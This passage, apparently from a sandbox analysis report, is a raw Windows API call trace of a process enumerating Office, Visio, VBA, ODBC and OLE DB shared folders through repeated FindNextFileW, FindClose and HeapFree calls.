dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0290.023] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.023] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0290.024] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.024] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0290.024] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.025] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0290.025] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.025] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0290.025] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.025] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0290.025] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.025] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0290.026] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.026] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0290.026] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.026] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0290.026] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.026] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0290.026] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.026] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0290.027] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.027] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0290.027] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.027] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0290.027] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.027] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0290.028] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.028] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0290.078] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.078] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0290.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.079] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0290.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.079] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0290.079] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0290.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.079] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0290.080] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.080] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0290.080] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.080] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0290.080] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.080] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0290.081] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.081] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0290.081] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.081] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0290.081] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.081] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0290.081] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.081] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0290.082] FindClose (in: hFindFile=0x3e81fe8 | out: hFindFile=0x3e81fe8) returned 1 [0290.082] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.082] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0290.084] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.084] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0290.084] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0290.084] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.084] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0290.084] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.084] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7e69c | out: lpFindFileData=0x2f7e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0290.084] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.084] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0290.085] FindClose (in: hFindFile=0x3e81b68 | out: hFindFile=0x3e81b68) returned 1 [0290.085] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.085] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0290.085] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0290.085] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.086] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0290.086] FindClose (in: hFindFile=0x3e82028 | out: hFindFile=0x3e82028) returned 1 [0290.086] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.086] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0290.087] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.087] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0290.087] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0290.087] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.087] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0290.087] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.087] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0290.087] FindClose (in: hFindFile=0x3e81ee8 | out: hFindFile=0x3e81ee8) returned 1 [0290.087] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.087] FindNextFileW (in: hFindFile=0x3e81c68, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0290.088] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.088] FindNextFileW (in: hFindFile=0x3e81c68, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, 